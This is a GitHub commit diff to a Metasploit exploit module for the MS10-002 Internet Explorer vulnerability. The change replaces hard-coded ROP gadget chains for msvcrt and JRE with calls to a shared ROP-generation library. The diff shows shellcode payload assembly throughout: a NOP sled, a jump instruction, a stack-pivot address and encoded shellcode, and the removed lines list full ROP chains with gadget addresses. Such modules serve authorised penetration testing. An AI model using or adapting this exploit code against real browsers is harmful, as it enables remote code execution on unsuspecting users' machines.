Skip to content

Commit 0acd9e4

Browse files
author
jvazquez-r7
committed
Merge branch 'ms10_002_ropdb_update' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ms10_002_ropdb_update
2 parents e4af1b7 + bdb9b75 commit 0acd9e4

File tree

1 file changed

+13
-57
lines changed

1 file changed

+13
-57
lines changed

modules/exploits/windows/browser/ms10_002_ie_object.rb

Lines changed: 13 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1415

1516
def initialize(info={})
1617
super(update_info(info,
@@ -51,7 +52,7 @@ def initialize(info={})
5152
},
5253
'DefaultOptions' =>
5354
{
54-
'InitialAutoRunScript' => 'migrate -f',
55+
'InitialAutoRunScript' => 'migrate -f'
5556
},
5657
'Platform' => 'win',
5758
'Targets' =>
@@ -89,6 +90,8 @@ def on_request_uri(cli, request)
8990
return
9091
end
9192

93+
print_status("Target selected: #{my_target.name}")
94+
9295
js_code = build_javascript(my_target)
9396

9497
html = %Q|
@@ -231,72 +234,25 @@ def build_javascript(my_target)
231234
return spray
232235
end
233236

234-
def nop
235-
return make_nops(4).unpack("V").first
236-
end
237-
238237
def junk(n=4)
239238
return rand_text_alpha(n).unpack("V").first
240239
end
241240

242241
# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
243242
def get_payload(t)
244-
# chain generated by mona.py - See corelan.be
243+
p = make_nops(46)
244+
p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
245+
p << [t.ret].pack("V") # Stack Pivot
246+
p << payload.encoded
247+
245248
case t['Rop']
246249
when :msvcrt
247-
rop =
248-
[
249-
0x77c4e392, # POP EAX # RETN
250-
0x77c11120, # <- *&VirtualProtect()
251-
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
252-
junk,
253-
0x77c2dd6c,
254-
0x77c4ec00, # POP EBP # RETN
255-
0x77c35459, # ptr to 'push esp # ret'
256-
0x77c47705, # POP EBX # RETN
257-
0x00000800, # <- change size to mark as executable if needed (-> ebx)
258-
0x77c3ea01, # POP ECX # RETN
259-
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
260-
0x77c46100, # POP EDI # RETN
261-
0x77c46101, # ROP NOP (-> edi)
262-
0x77c4d680, # POP EDX # RETN
263-
0x00000040, # newProtect (0x40) (-> edx)
264-
0x77c4e392, # POP EAX # RETN
265-
nop, # NOPS (-> eax)
266-
0x77c12df9, # PUSHAD # RETN
267-
].pack("V*")
268-
269-
when :jre
270-
rop =
271-
[
272-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
273-
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
274-
0x7c347f98, # RETN (ROP NOP)
275-
0x7c3415a2, # JMP [EAX]
276-
0xffffffff,
277-
0x7c376402, # skip 4 bytes
278-
0x7c351e05, # NEG EAX # RETN
279-
0x7c345255, # INC EBX # FPATAN # RETN
280-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
281-
0x7c344f87, # POP EDX # RETN
282-
0xffffffc0, # Value to negate, will become 0x00000040
283-
0x7c351eb1, # NEG EDX # RETN
284-
0x7c34d201, # POP ECX # RETN
285-
0x7c38b001, # &Writable location
286-
0x7c347f97, # POP EAX # RETN
287-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
288-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
289-
0x7c345c30, # ptr to 'push esp # ret '
290-
].pack("V*")
250+
rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
251+
else
252+
rop_payload = generate_rop_payload('java', p)
291253
end
292254

293-
code = rop
294-
code << make_nops(38)
295-
code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
296-
code << [t.ret].pack("V") # Stack Pivot
297-
code << payload.encoded
298-
299-
return code
255+
return rop_payload
300256
end
301257

302258
end

0 commit comments

Comments
 (0)